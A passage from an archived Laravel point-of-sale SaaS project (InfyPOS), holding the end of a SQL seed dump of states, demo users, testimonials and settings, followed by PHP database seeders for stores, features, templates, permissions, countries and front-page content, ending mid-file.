(4013, 'Malampa', 235, NULL, NULL); INSERT INTO `states` (`id`, `name`, `country_id`, `created_at`, `updated_at`) VALUES (4014, 'Penama', 235, NULL, NULL), (4015, 'Sanma', 235, NULL, NULL), (4016, 'Shefa', 235, NULL, NULL), (4017, 'Tafea', 235, NULL, NULL), (4018, 'Torba', 235, NULL, NULL), (4019, 'Vatican City State (Holy See)', 236, NULL, NULL), (4020, 'Amazonas', 237, NULL, NULL), (4021, 'Anzoategui', 237, NULL, NULL), (4022, 'Apure', 237, NULL, NULL), (4023, 'Aragua', 237, NULL, NULL), (4024, 'Barinas', 237, NULL, NULL), (4025, 'Bolivar', 237, NULL, NULL), (4026, 'Carabobo', 237, NULL, NULL), (4027, 'Cojedes', 237, NULL, NULL), (4028, 'Delta Amacuro', 237, NULL, NULL), (4029, 'Distrito Federal', 237, NULL, NULL), (4030, 'Falcon', 237, NULL, NULL), (4031, 'Guarico', 237, NULL, NULL), (4032, 'Lara', 237, NULL, NULL), (4033, 'Merida', 237, NULL, NULL), (4034, 'Miranda', 237, NULL, NULL), (4035, 'Monagas', 237, NULL, NULL), (4036, 'Nueva Esparta', 237, NULL, NULL), (4037, 'Portuguesa', 237, NULL, NULL), (4038, 'Sucre', 237, NULL, NULL), (4039, 'Tachira', 237, NULL, NULL), (4040, 'Trujillo', 237, NULL, NULL), (4041, 'Vargas', 237, NULL, NULL), (4042, 'Yaracuy', 237, NULL, NULL), (4043, 'Zulia', 237, NULL, NULL), (4044, 'Bac Giang', 238, NULL, NULL), (4045, 'Binh Dinh', 238, NULL, NULL), (4046, 'Binh Duong', 238, NULL, NULL), (4047, 'Da Nang', 238, NULL, NULL), (4048, 'Dong Bang Song Cuu Long', 238, NULL, NULL), (4049, 'Dong Bang Song Hong', 238, NULL, NULL), (4050, 'Dong Nai', 238, NULL, NULL), (4051, 'Dong Nam Bo', 238, NULL, NULL), (4052, 'Duyen Hai Mien Trung', 238, NULL, NULL), (4053, 'Hanoi', 238, NULL, NULL), (4054, 'Hung Yen', 238, NULL, NULL), (4055, 'Khu Bon Cu', 238, NULL, NULL), (4056, 'Long An', 238, NULL, NULL), (4057, 'Mien Nui Va Trung Du', 238, NULL, NULL), (4058, 'Thai Nguyen', 238, NULL, NULL), (4059, 'Thanh Pho Ho Chi Minh', 238, NULL, NULL), (4060, 'Thu Do Ha Noi', 238, NULL, NULL), (4061, 'Tinh Can Tho', 238, NULL, NULL), (4062, 'Tinh Da Nang', 238, NULL, NULL), (4063, 'Tinh Gia Lai', 238, NULL, NULL), (4064, 'Anegada', 239, NULL, NULL), (4065, 'Jost van Dyke', 239, NULL, NULL), (4066, 'Tortola', 239, NULL, NULL), (4067, 'Saint Croix', 240, NULL, NULL), (4068, 'Saint John', 240, NULL, NULL), (4069, 'Saint Thomas', 240, NULL, NULL), (4070, 'Alo', 241, NULL, NULL), (4071, 'Singave', 241, NULL, NULL), (4072, 'Wallis', 241, NULL, NULL), (4073, 'Bu Jaydur', 242, NULL, NULL), (4074, 'Wad-adh-Dhahab', 242, NULL, NULL), (4075, 'al-\'\'Ayun', 242, NULL, NULL), (4076, 'as-Samarah', 242, NULL, NULL), (4077, 'Adan', 243, NULL, NULL), (4078, 'Abyan', 243, NULL, NULL), (4079, 'Dhamar', 243, NULL, NULL), (4080, 'Hadramaut', 243, NULL, NULL), (4081, 'Hajjah', 243, NULL, NULL), (4082, 'Hudaydah', 243, NULL, NULL), (4083, 'Ibb', 243, NULL, NULL), (4084, 'Lahij', 243, NULL, NULL), (4085, 'Ma\'\'rib', 243, NULL, NULL), (4086, 'Madinat San\'\'a', 243, NULL, NULL), (4087, 'Sa\'\'dah', 243, NULL, NULL), (4088, 'Sana', 243, NULL, NULL), (4089, 'Shabwah', 243, NULL, NULL), (4090, 'Ta\'\'izz', 243, NULL, NULL), (4091, 'al-Bayda', 243, NULL, NULL), (4092, 'al-Hudaydah', 243, NULL, NULL), (4093, 'al-Jawf', 243, NULL, NULL), (4094, 'al-Mahrah', 243, NULL, NULL), (4095, 'al-Mahwit', 243, NULL, NULL), (4096, 'Central Serbia', 244, NULL, NULL), (4097, 'Kosovo and Metohija', 244, NULL, NULL), (4098, 'Montenegro', 244, NULL, NULL), (4099, 'Republic of Serbia', 244, NULL, NULL), (4100, 'Serbia', 244, NULL, NULL), (4101, 'Vojvodina', 244, NULL, NULL), (4102, 'Central', 245, NULL, NULL), (4103, 'Copperbelt', 245, NULL, NULL), (4104, 'Eastern', 245, NULL, NULL), (4105, 'Luapala', 245, NULL, NULL), (4106, 'Lusaka', 245, NULL, NULL), (4107, 'North-Western', 245, NULL, NULL), (4108, 'Northern', 245, NULL, NULL), (4109, 'Southern', 245, NULL, NULL), (4110, 'Western', 245, NULL, NULL), (4111, 'Bulawayo', 246, NULL, NULL), (4112, 'Harare', 246, NULL, NULL), (4113, 'Manicaland', 246, NULL, NULL), (4114, 'Mashonaland Central', 246, NULL, NULL), (4115, 'Mashonaland East', 246, NULL, NULL), (4116, 'Mashonaland West', 246, NULL, NULL), (4117, 'Masvingo', 246, NULL, NULL), (4118, 'Matabeleland North', 246, NULL, NULL), (4119, 'Matabeleland South', 246, NULL, NULL), (4120, 'Midlands', 246, NULL, NULL), (4121, 'Lienchiang County', 214, NULL, NULL); INSERT INTO `steps` (`id`, `sub_title`, `title`, `description`, `created_at`, `updated_at`) VALUES (1, 'Step 1', 'Register Your Business', 'Sign up on POS by providing your business details. Set up your account with company information, preferred currency, and tax settings.', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (2, 'Step 2', 'Configure your store', 'Add multiple warehouses in POS. Add stocks and limits to each warehouse for efficient inventory tracking.', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (3, 'Step 3', 'Import Data', 'Easily import supplier and customer data into POS. Sync existing records or add new ones to streamline procurement and order management.', '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (4, 'Step 4', 'Automate Inventory', 'Enable automatic stock updates, warehouse-based stocks, and smart inventory management features.', '2025-07-24 03:47:27', '2025-07-24 03:47:27'); INSERT INTO `stores` (`id`, `name`, `tenant_id`, `user_id`, `status`, `created_at`, `updated_at`) VALUES (1, 'My Store', '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 2, 1, '2025-07-24 03:47:26', '2025-07-24 03:47:26'); INSERT INTO `subscriptions` (`id`, `user_id`, `plan_id`, `transaction_id`, `payment_type`, `plan_amount`, `payable_amount`, `plan_frequency`, `start_date`, `end_date`, `trial_ends_at`, `status`, `is_paid`, `data`, `notes`, `created_at`, `updated_at`) VALUES (1, 2, 1, NULL, 0, 0, 0, 1, '2025-07-24 09:17:26', '2026-07-31 23:59:59', NULL, 1, 0, NULL, NULL, '2025-07-24 03:47:26', '2025-07-24 03:47:26'); INSERT INTO `tenants` (`id`, `store_id`, `created_at`, `updated_at`, `data`) VALUES ('5559d4ec-3b92-4f08-aa6d-a89c372d05d8', '1', '2025-07-24 03:47:26', '2025-07-24 03:47:26', '[]'); INSERT INTO `testimonials` (`id`, `name`, `description`, `created_at`, `updated_at`) VALUES (1, 'David R.', 'POS has completely transformed how we manage our warehouses! The real-time inventory updates help us avoid stock shortages, and the centralized dashboard makes everything so easy to track.', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (2, 'Sarah M.', 'We used to struggle with stock discrepancies across multiple locations. Thanks to POS, we now have seamless warehouse transfers and accurate stock reports.', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (3, 'Michael T.', 'The best part about POS is the flexible payment options. Our customers can now pay via Stripe, Razorpay, or PayPal, making transactions smoother and faster!', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (4, 'Emily J.', 'Security and role-based access are game-changers! We can assign specific permissions to staff, ensuring only authorized personnel handle stock adjustments and transactions.', '2025-07-24 03:47:25', '2025-07-24 03:47:25'), (5, 'James L.', 'Since switching to POS, we’ve seen a 30% improvement in order fulfillment speed. The automation features save us time and reduce errors.', '2025-07-24 03:47:25', '2025-07-24 03:47:25'); INSERT INTO `users` (`id`, `first_name`, `last_name`, `email`, `phone`, `region`, `email_verified_at`, `password`, `tenant_id`, `remember_token`, `created_at`, `updated_at`, `status`, `language`) VALUES (1, 'Super', 'Admin', 'superadmin@infy-pos.com', NULL, NULL, '2025-07-24 03:47:26', '$2y$10$lbNmxBTVebb9oPy0nBthpuZS7sgMm7FSZ0E0PGDufXvP9rWztjVoi', NULL, NULL, '2025-07-24 03:47:26', '2025-07-24 03:47:26', 1, 'en'), (2, 'admin', 'admin', 'admin@infy-pos.com', '919999999999', NULL, '2025-07-24 03:47:26', '$2y$10$PlFgt1pSqgQHOK1vfLHMkO1xKE4ubZHpNieV/zkENaZgSe4WrC.TC', '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', NULL, '2025-07-24 03:47:26', '2025-07-24 03:47:26', 1, 'en'); INSERT INTO `warehouses` (`id`, `tenant_id`, `name`, `phone`, `country`, `city`, `email`, `zip_code`, `created_at`, `updated_at`) VALUES (1, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'warehouse', '123456789', 'india', 'mumbai', 'warehouse1@infypos.com', '12345', '2025-07-24 03:47:27', '2025-07-24 03:47:27'); INSERT INTO `why_choose_us` (`id`, `title`, `description`, `created_at`, `updated_at`) VALUES (1, 'Centralized Warehouse Management', '<p>Boost your sales with our easy-to-use Cloud based POS Solution. Effortlessly check out customers with our state-of-the-art cloud based point of sale Software. Get paid faster, secure more credit card sales, and achieve a competitive edge. Boost sales and revenue with our powerful SaaS POS software.</p>', '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (2, 'Real-Time Stock Updates', '<p>Ignite explosive growth with POS\'s fully integrated customer loyalty program. Track, reward, and excite your customers with personalized promotions. Scale your business effortlessly by adding new locations and registers. Don\'t just dream big, make it happen. Unleash your potential and conquer the market with our innovative POS SaaS solutions.</p>', '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (3, 'Secure & Scalable', '<p>Effortlessly Manage Your Inventory with Cloud-Based Precision. Our Industry-Leading Module Simplifies Cloud Inventory management Allowing You to Stay in Control and Optimize Stock Levels with Ease. Set Up Automatic Alerts, Print Labels, and barcodes seamlessly with our cutting-edge Cloud Based Point of Sale technology Maximize Your Profits, Minimize Your Worries.</p>', '2025-07-24 03:47:24', '2025-07-24 03:47:24'), (4, 'Flexible Payment Options', '<p>With POS, get instant issue resolution and expert guidance, 24/7. We’re always here to keep your business running smoothly.</p><ul><li>24/7 Availability</li><li>Dedicated Support Team</li><li>Quick Issue Resolution</li></ul>', '2025-07-24 03:47:24', '2025-07-24 03:47:24'); /*!40101 SET SQL_MODE=@OLD_SQL_MODE */; /*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; /*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; /*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */; seeders/StoreSeeder.php 0000644 00000003210 15213354167 0011136 0 ustar 00 <?php namespace Database\Seeders; use App\Models\MultiTenant; use App\Models\Setting; use App\Models\Store; use App\Models\User; use App\Models\UserStore; use Illuminate\Database\Console\Seeds\WithoutModelEvents; use Illuminate\Database\Seeder; use Illuminate\Support\Facades\DB; class StoreSeeder extends Seeder { /** * Run the database seeds. */ public function run(): void { $tenants = MultiTenant::all(); foreach ($tenants as $tenant) { $user = User::where('tenant_id', $tenant->id)->first(); if ($user) { $setting = Setting::where('tenant_id', $user->tenant_id)->where('key', 'store_name')->first(); $storeExists = Store::where('user_id', $user->id)->where('name', $setting->value ?? 'My Store')->exists(); if (!$storeExists) { $store = Store::create([ 'user_id' => $user->id, 'tenant_id' => $user->tenant_id, 'name' => $setting->value ?? 'My Store', ]); $tenant->update(['store_id' => $store->id]); $allTenantUsers = User::where('tenant_id', $tenant->id)->where('id', '!=', $user->id)->pluck('id'); foreach ($allTenantUsers as $userId) { UserStore::create([ 'user_id' => $userId, 'store_id' => $store->id, ]); } } } else { DB::table('tenants')->where('id', $tenant->id)->delete(); } } } } seeders/AddUserIdInTransactionSeeder.php 0000644 00000001143 15213354167 0014346 0 ustar 00 <?php namespace Database\Seeders; use App\Models\Transaction; use App\Models\User; use Illuminate\Database\Console\Seeds\WithoutModelEvents; use Illuminate\Database\Seeder; class AddUserIdInTransactionSeeder extends Seeder { /** * Run the database seeds. */ public function run(): void { $transactions = Transaction::with('tenant')->get(); foreach ($transactions as $transaction) { $user = User::where('email', $transaction->tenant->email)->first(); $transaction->user_id = $user->id ?? null; $transaction->save(); } } } seeders/DefaultFeaturesSeeder.php 0000644 00000011560 15213354167 0013134 0 ustar 00 <?php namespace Database\Seeders; use App\Models\Feature; use App\Models\SadminSetting; use App\Models\Step; use Illuminate\Database\Seeder; class DefaultFeaturesSeeder extends Seeder { /** * Run the database seeds. */ public function run(): void { $features = [ [ 'image' => 'images/default/feature-1.png', 'title' => 'Streamline Your Operations', 'description' => 'Efficiently optimize your retail operations with our streamlined cloud-based solutions.', 'points' => [ 'Cloud-based POS solution', 'Eliminate manual processes', 'Reduce errors', 'Focus on serving customers and growing business', ], ], [ 'image' => 'images/default/feature-2.png', 'title' => 'Efficient Inventory Management', 'description' => 'Keep track of your stock levels and ensure smooth inventory operations across multiple locations.', 'points' => [ 'Real-time stock tracking', 'Low-stock alerts and notifications', 'Easy product categorization', 'Manual stock adjustments', ], ], [ 'image' => 'images/default/feature-3.png', 'title' => '24/7 Support & Assistance', 'description' => 'Get round-the-clock support to ensure your business never faces downtime.', 'points' => [ 'Dedicated customer success team', 'Email and phone support', 'Comprehensive knowledge base and FAQs', 'Regular system updates and security patches', ], ], [ 'image' => 'images/default/feature-4.png', 'title' => 'Multi-Warehouse Management', 'description' => 'Efficiently manage inventory across multiple warehouses with advanced tracking and automation.', 'points' => [ 'Centralized inventory visibility', 'Stock allocation and transfers', 'Warehouse-specific reporting and analytics', 'Multi-location order fulfillment', ], ], ]; foreach ($features as $featureData) { $feature = Feature::create([ 'title' => $featureData['title'], 'description' => $featureData['description'], 'points' => json_encode($featureData['points']), ]); if (!empty($featureData['image']) && file_exists(public_path($featureData['image']))) { $feature->addMedia(public_path($featureData['image'])) ->preservingOriginal() ->toMediaCollection(Feature::IMAGE, config('app.media_disc')); } } $steps = [ [ 'image' => 'images/default/step-1.png', 'sub_title' => 'Step 1', 'title' => 'Register Your Business', 'description' => 'Sign up on POS by providing your business details. Set up your account with company information, preferred currency, and tax settings.', ], [ 'image' => 'images/default/step-2.png', 'sub_title' => 'Step 2', 'title' => 'Configure your store', 'description' => 'Add multiple warehouses in POS. Add stocks and limits to each warehouse for efficient inventory tracking.', ], [ 'image' => 'images/default/step-3.png', 'sub_title' => 'Step 3', 'title' => 'Import Data', 'description' => 'Easily import supplier and customer data into POS. Sync existing records or add new ones to streamline procurement and order management.', ], [ 'image' => 'images/default/step-4.png', 'sub_title' => 'Step 4', 'title' => 'Automate Inventory', 'description' => 'Enable automatic stock updates, warehouse-based stocks, and smart inventory management features.', ], ]; foreach ($steps as $stepData) { $step = Step::create([ 'sub_title' => $stepData['sub_title'], 'title' => $stepData['title'], 'description' => $stepData['description'], ]); if (!empty($stepData['image']) && file_exists(public_path($stepData['image']))) { $step->addMedia(public_path($stepData['image'])) ->preservingOriginal() ->toMediaCollection(Step::IMAGE, config('app.media_disc')); } } } } seeders/DefaultSettingSeeder.php 0000644 00000016536 15213354167 0013003 0 ustar 00 <?php namespace Database\Seeders; use App\Models\BaseUnit; use App\Models\Customer; use App\Models\MailTemplate; use App\Models\Role; use App\Models\SadminSetting; use App\Models\Setting; use App\Models\SmsSetting; use App\Models\SmsTemplate; use App\Models\User; use App\Models\Warehouse; use Illuminate\Database\Seeder; class DefaultSettingSeeder extends Seeder { /** * Run the database seeds. */ public function run(): void { $tenantId = User::whereHas('roles', function ($query) { $query->where('name', Role::ADMIN); })->first()->tenant_id; // Base Units $baseUnits = ['piece', 'meter', 'kilogram']; foreach ($baseUnits as $baseUnit) { BaseUnit::create([ 'tenant_id' => $tenantId, 'name' => $baseUnit, 'is_default' => true, ]); } // Mail Templates $mailTemplates = [ [ 'tenant_id' => $tenantId, 'template_name' => 'GREETING TO CUSTOMER ON SALES !', 'content' => '<p>Hi, {customer_name}</p><p>Your sales Id is {sales_id}</p><p>Sales Date: {sales_date}</p><p>Total Amount: {sales_amount}</p><p>You have paid: {paid_amount}</p><p>Due amount: {due_amount}</p><p>Regards, {app_name}</p>', 'type' => MailTemplate::MAIL_TYPE_SALE ], [ 'tenant_id' => $tenantId, 'template_name' => 'GREETING TO CUSTOMER ON SALES RETURN !', 'content' => '<p>Hi, {customer_name}</p><p>Your sales return Id is {sales_return_id}</p><p>Sales return Date: {sales_return_date}</p><p>Total Amount: {sales_return_amount}</p><p>Regards, {app_name}</p>', 'type' => MailTemplate::MAIL_TYPE_SALE_RETURN, ] ]; foreach ($mailTemplates as $mailTemplate) { MailTemplate::create($mailTemplate); } // SMS Settings $smsSettings = [ 'url' => 'http://test.com/api/test.php', 'mobile_key' => '', 'message_key' => '', 'payload' => '', ]; foreach ($smsSettings as $key => $value) { SmsSetting::create([ 'tenant_id' => $tenantId, 'key' => $key, 'value' => $value ]); } // SMS Templates $smsTemplates = [ [ 'tenant_id' => $tenantId, 'template_name' => 'GREETING TO CUSTOMER ON SALES !', 'content' => 'Hi {customer_name}, Your sales Id is {sales_id}, Sales Date {sales_date}, Total Amount {sales_amount}, You have paid {paid_amount}, and customer total due amount is {due_amount} Thank you visit again', 'type' => SmsTemplate::SMS_TYPE_SALE, ], [ 'tenant_id' => $tenantId, 'template_name' => 'GREETING TO CUSTOMER ON SALES RETURN !', 'content' => 'Hi {customer_name}, Your sales return Id is {sales_return_id}, Sales return Date {sales_return_date}, and Total Amount is {sales_return_amount} Thank you visit again', 'type' => SmsTemplate::SMS_TYPE_SALE_RETURN, ] ]; foreach ($smsTemplates as $smsTemplate) { SmsTemplate::create($smsTemplate); } // Customer Customer::create([ 'tenant_id' => $tenantId, 'name' => 'walk-in-customer', 'email' => 'customer@infypos.com', 'phone' => '123456789', 'country' => 'india', 'city' => 'mumbai', 'address' => 'Dr Deshmukh Marg , mumbai', ]); // Warehouse Warehouse::create([ 'tenant_id' => $tenantId, 'name' => 'warehouse', 'phone' => '123456789', 'country' => 'india', 'city' => 'mumbai', 'email' => 'warehouse1@infypos.com', 'zip_code' => '12345', ]); $settings = [ 'currency' => 1, 'is_currency_right' => 0, 'default_customer' => 1, 'default_warehouse' => 1, 'date_format' => 'y-m-d', 'country' => 'India', 'state' => 'Gujarat', 'city' => 'Surat', // Prefixes 'purchase_code' => 'PU', 'purchase_return_code' => 'PR', 'sale_code' => 'SA', 'sale_return_code' => 'SR', 'expense_code' => 'EX', // Receipt Settings 'show_note' => '1', 'show_phone' => '1', 'show_customer' => '1', 'show_address' => '1', 'show_email' => '1', 'show_tax_discount_shipping' => '1', 'show_barcode_in_receipt' => '1', 'show_logo_in_receipt' => '1', 'show_product_code' => '1', 'notes' => 'Thanks for order', // use ?? 'show_warehouse' => '1', 'stripe_key' => 'pu_test_yBzA1qI1PcfRBAVn1vJG2VuS00HcyhQX9LASERTFDDS', 'stripe_secret' => 'pu_test_yBzA1qI1PcfRBAVn1vJG2VuS00HcyhQX9LASERTFDDS', 'sms_gateway' => '1', 'twillo_sid' => 'asd', 'twillo_token' => 'asd', 'twillo_from' => 'asd', 'smtp_host' => 'mailtrap.io', 'smtp_port' => '2525', 'smtp_username' => 'test', 'smtp_password' => 'test', 'smtp_Encryption' => 'tls', ]; foreach ($settings as $key => $value) { Setting::create([ 'tenant_id' => $tenantId, 'key' => $key, 'value' => $value ]); } $sadminSetting = [ 'email' => 'contact@infyom.com', 'logo' => 'images/logo.png', 'company_name' => 'infy-pos', 'app_name' => 'InfyPOS SaaS', 'phone' => '+91 70963 36561', 'footer' => 'All rights reserved by InfyOm Technologies', 'country' => 'India', 'state' => 'Gujarat', 'city' => 'Surat', 'postcode' => '395007', 'address' => 'C-303, Atlanta Shopping Mall, Nr. Sudama Chowk, Mota Varachha, Surat, Gujarat, India.', 'show_version_on_footer' => '1', 'show_app_name_in_sidebar' => '1', // Default mail settings 'mail_mailer' => 'smtp', 'mail_host' => 'mailtrap.io', 'mail_port' => '2525', 'sender_name' => 'support@infypos.com', 'mail_username' => 'test', 'mail_password' => 'test', 'mail_from_address' => 'support@infypos.com', 'mail_encryption' => 'tls', 'manual_payment_enabled' => '1', 'manual_payment_guide' => 'We will approve your request within 24 hours.', 'term_and_condition' => 'Terms and condition', 'privacy_policy' => 'Privacy Policy', 'refund_policy' => 'Refund Policy', 'admin_default_currency_symbol' => '₹', 'admin_default_currency' => 1, 'testimonial_main_title' => 'Customers Who Choose POS-SaaS', 'hero_button_title' => 'Launch Your Store Today', ]; foreach ($sadminSetting as $key => $value) { SadminSetting::create([ 'key' => $key, 'value' => $value ]); } } } seeders/GenerateCrudPermissionsSeeder.php 0000644 00000006757 15213354167 0014671 0 ustar 00 <?php namespace Database\Seeders; use App\Models\Role; use App\Models\Permission; use Illuminate\Database\Seeder; use Illuminate\Support\Facades\DB; use Illuminate\Database\Console\Seeds\WithoutModelEvents; class GenerateCrudPermissionsSeeder extends Seeder { /** * Run the database seeds. */ public function run(): void { $modules = [ 'adjustments', 'transfers', 'roles', 'brands', 'warehouses', 'units', 'product_categories', 'products', 'suppliers', 'customers', 'users', 'expense_categories', 'expenses', 'setting', 'dashboard', 'pos_screen', 'purchase', 'sale', 'purchase_return', 'sale_return', 'email_templates', 'reports', 'quotations', 'sms_templates', 'sms_apis', 'variations', ]; $viewOnlyModules = ['dashboard', 'pos_screen']; $editOnlyModules = ['reports', 'sms_templates', 'email_templates', 'sms_apis', 'setting']; $guard = config('auth.defaults.guard', 'web'); foreach ($modules as $module) { if (in_array($module, $viewOnlyModules)) { $actions = ['view']; } elseif (in_array($module, $editOnlyModules)) { $actions = ['edit']; } else { $actions = ['create', 'edit', 'view', 'delete']; } foreach ($actions as $action) { $name = "{$action}_{$module}"; $displayName = ucfirst($action) . ' ' . ucwords(str_replace('_', ' ', $module)); if (!Permission::where('name', $name)->exists()) { Permission::create([ 'name' => $name, 'display_name' => $displayName, 'guard_name' => $guard, ]); } } } $removeManagePermissions = ['manage_currency', 'manage_language']; foreach ($removeManagePermissions as $permName) { $permission = Permission::where('name', $permName)->first(); if ($permission) { DB::table('role_has_permissions')->where('permission_id', $permission->id)->delete(); $permission->delete(); } } $roles = Role::with('permissions')->get(); foreach ($roles as $role) { $crudToAssign = []; foreach ($modules as $module) { $managePermission = "manage_{$module}"; if (in_array($managePermission, $removeManagePermissions)) { continue; } if ($role->hasPermissionTo($managePermission)) { if (in_array($module, $viewOnlyModules)) { $actions = ['view']; } elseif (in_array($module, $editOnlyModules)) { $actions = ['edit']; } else { $actions = ['create', 'view', 'edit', 'delete']; } foreach ($actions as $action) { $permName = "{$action}_{$module}"; $permission = Permission::where('name', $permName)->first(); if ($permission) { $crudToAssign[] = $permission->id; } } } } if (!empty($crudToAssign)) { $role->permissions()->syncWithoutDetaching($crudToAssign); } } } } seeders/DefaultCountriesSeeder.php 0000644 00000001133 15213354167 0013324 0 ustar 00 <?php namespace Database\Seeders; use App\Models\Country; use App\Models\State; use Illuminate\Database\Seeder; class DefaultCountriesSeeder extends Seeder { /** * Run the database seeds. */ public function run(): void { $countries = file_get_contents(storage_path('countries/countries.json')); $countries = json_decode($countries, true)['countries']; Country::insert($countries); $states = file_get_contents(storage_path('countries/states.json')); $states = json_decode($states, true)['states']; State::insert($states); } } seeders/DefaultFrontDataSeeder.php 0000644 00000031314 15213354167 0013237 0 ustar 00 <?php namespace Database\Seeders; use App\Models\Faq; use App\Models\Partner; use App\Models\SadminSetting; use App\Models\Service; use App\Models\Testimonial; use App\Models\WhyChooseUs; use Illuminate\Database\Seeder; use Illuminate\Support\Facades\Storage; class DefaultFrontDataSeeder extends Seeder { /** * Run the database seeds. */ public function run(): void { // Hero Section $keyName = [ 'hero_image' => ('images/default/hero-img.png'), 'hero_title' => 'Seamless Cloud-Based Warehouse & Inventory Management', 'hero_description' => 'Effortlessly manage multiple warehouses with a powerful, cloud-based POS system. Track inventory, streamline operations, and optimize sales across all locations in real time.', 'partner_main_title' => 'Trusted by Top Businesses', 'partner_description' => 'POS simplifies multi-warehouse management with advanced tracking, real-time inventory updates, and seamless operations. Join businesses that rely on our technology for smarter and more efficient stock control.', 'contact_us_main_title' => 'Get in Touch with Us', 'contact_us_description' => 'Interested in learning more about POS, requesting a quote, or speaking with an expert? Let us know your needs, and we’ll get back to you soon.', 'facebook' => "https://facebook.com/", 'twitter' => "https://x.com/", 'linkedin' => "https://linkedin.com/", ]; foreach ($keyName as $key => $value) { SadminSetting::updateOrCreate( ['key' => $key], ['value' => $value] ); } // Services $services = [ [ 'image' => 'images/default/services-1.png', 'title' => 'Real-Time Inventory', 'description' => 'Effortlessly track stock levels across multiple warehouses in real time with our cloud-based system. Get automated inventory updates to prevent overstocking or stockouts and ensure smooth operations at every location.', ], [ 'image' => 'images/default/services-2.png', 'title' => 'Easy Transfers', 'description' => 'Easily transfer stock between warehouses with just a few clicks. Update inventory adjustments instantly to maintain accuracy and prevent discrepancies across different locations.', ], [ 'image' => 'images/default/services-3.png', 'title' => 'Sales & Purchases', 'description' => 'Stay on top of your purchases and sales across multiple warehouses. Monitor transactions, analyze sales data, and optimize inventory levels to meet customer demand efficiently.', ], [ 'image' => 'images/default/services-4.png', 'title' => 'User Access Control', 'description' => 'Enhance security and efficiency by assigning custom roles and permissions to your team. Ensure only authorized staff can make inventory adjustments, process transactions, or access critical data.', ], [ 'image' => 'images/default/services-5.png', 'title' => 'Flexible Payments', 'description' => 'Offer seamless transactions with support for Stripe, Razorpay, PayPal, and manual payments. Provide flexible and secure payment solutions for customers, vendors, and suppliers.', ] ]; foreach ($services as $data) { $service = Service::create([ 'title' => $data['title'], 'description' => $data['description'], ]); if (!empty($data['image']) && file_exists(public_path($data['image']))) { $service->addMedia(public_path($data['image'])) ->preservingOriginal() ->toMediaCollection(Service::ICON, config('app.media_disc')); } } // WhyChooseUs $whyChooseUsData = [ [ 'image' => 'images/default/choose-1.png', 'title' => 'Centralized Warehouse Management', 'description' => '<p>Boost your sales with our easy-to-use Cloud based POS Solution. Effortlessly check out customers with our state-of-the-art cloud based point of sale Software. Get paid faster, secure more credit card sales, and achieve a competitive edge. Boost sales and revenue with our powerful SaaS POS software.</p>', ], [ 'image' => 'images/default/choose-2.png', 'title' => 'Real-Time Stock Updates', 'description' => '<p>Ignite explosive growth with POS\'s fully integrated customer loyalty program. Track, reward, and excite your customers with personalized promotions. Scale your business effortlessly by adding new locations and registers. Don\'t just dream big, make it happen. Unleash your potential and conquer the market with our innovative POS SaaS solutions.</p>', ], [ 'image' => 'images/default/choose-3.png', 'title' => 'Secure & Scalable', 'description' => '<p>Effortlessly Manage Your Inventory with Cloud-Based Precision. Our Industry-Leading Module Simplifies Cloud Inventory management Allowing You to Stay in Control and Optimize Stock Levels with Ease. Set Up Automatic Alerts, Print Labels, and barcodes seamlessly with our cutting-edge Cloud Based Point of Sale technology Maximize Your Profits, Minimize Your Worries.</p>', ], [ 'image' => 'images/default/choose-4.png', 'title' => 'Flexible Payment Options', 'description' => '<p>With POS, get instant issue resolution and expert guidance, 24/7. We’re always here to keep your business running smoothly.</p><ul><li>24/7 Availability</li><li>Dedicated Support Team</li><li>Quick Issue Resolution</li></ul>', ], ]; foreach ($whyChooseUsData as $value) { $whyChooseUs = WhyChooseUs::create([ 'title' => $value['title'], 'description' => $value['description'], ]); if (!empty($value['image']) && file_exists(public_path($value['image']))) { $whyChooseUs->addMedia(public_path($value['image'])) ->preservingOriginal() ->toMediaCollection(WhyChooseUs::IMAGE, config('app.media_disc')); } } // Partners $partners = [ [ 'image' => 'images/default/partner-1.png', 'name' => 'VONDE', ], [ 'image' => 'images/default/partner-2.png', 'name' => 'HIPSTER', ], [ 'image' => 'images/default/partner-3.png', 'name' => 'AVANTER', ], [ 'image' => 'images/default/partner-4.png', 'name' => 'NORWAY', ], ]; foreach ($partners as $value) { $partner = Partner::create([ 'name' => $value['name'], ]); if (!empty($value['image']) && file_exists(public_path($value['image']))) { $partner->addMedia(public_path($value['image'])) ->preservingOriginal() ->toMediaCollection(Partner::IMAGE, config('app.media_disc')); } } // Testimonials $testimonials = [ [ 'image' => 'images/default/testimonial-1.png', 'name' => 'David R.', 'description' => 'POS has completely transformed how we manage our warehouses! The real-time inventory updates help us avoid stock shortages, and the centralized dashboard makes everything so easy to track.', ], [ 'image' => 'images/default/testimonial-2.png', 'name' => 'Sarah M.', 'description' => 'We used to struggle with stock discrepancies across multiple locations. Thanks to POS, we now have seamless warehouse transfers and accurate stock reports.', ], [ 'image' => 'images/default/testimonial-3.png', 'name' => 'Michael T.', 'description' => 'The best part about POS is the flexible payment options. Our customers can now pay via Stripe, Razorpay, or PayPal, making transactions smoother and faster!', ], [ 'image' => 'images/default/testimonial-4.png', 'name' => 'Emily J.', 'description' => 'Security and role-based access are game-changers! We can assign specific permissions to staff, ensuring only authorized personnel handle stock adjustments and transactions.', ], [ 'image' => 'images/default/testimonial-5.png', 'name' => 'James L.', 'description' => 'Since switching to POS, we’ve seen a 30% improvement in order fulfillment speed. The automation features save us time and reduce errors.', ], ]; foreach ($testimonials as $value) { $testimonial = Testimonial::create([ 'name' => $value['name'], 'description' => $value['description'], ]); if (!empty($value['image']) && file_exists(public_path($value['image']))) { 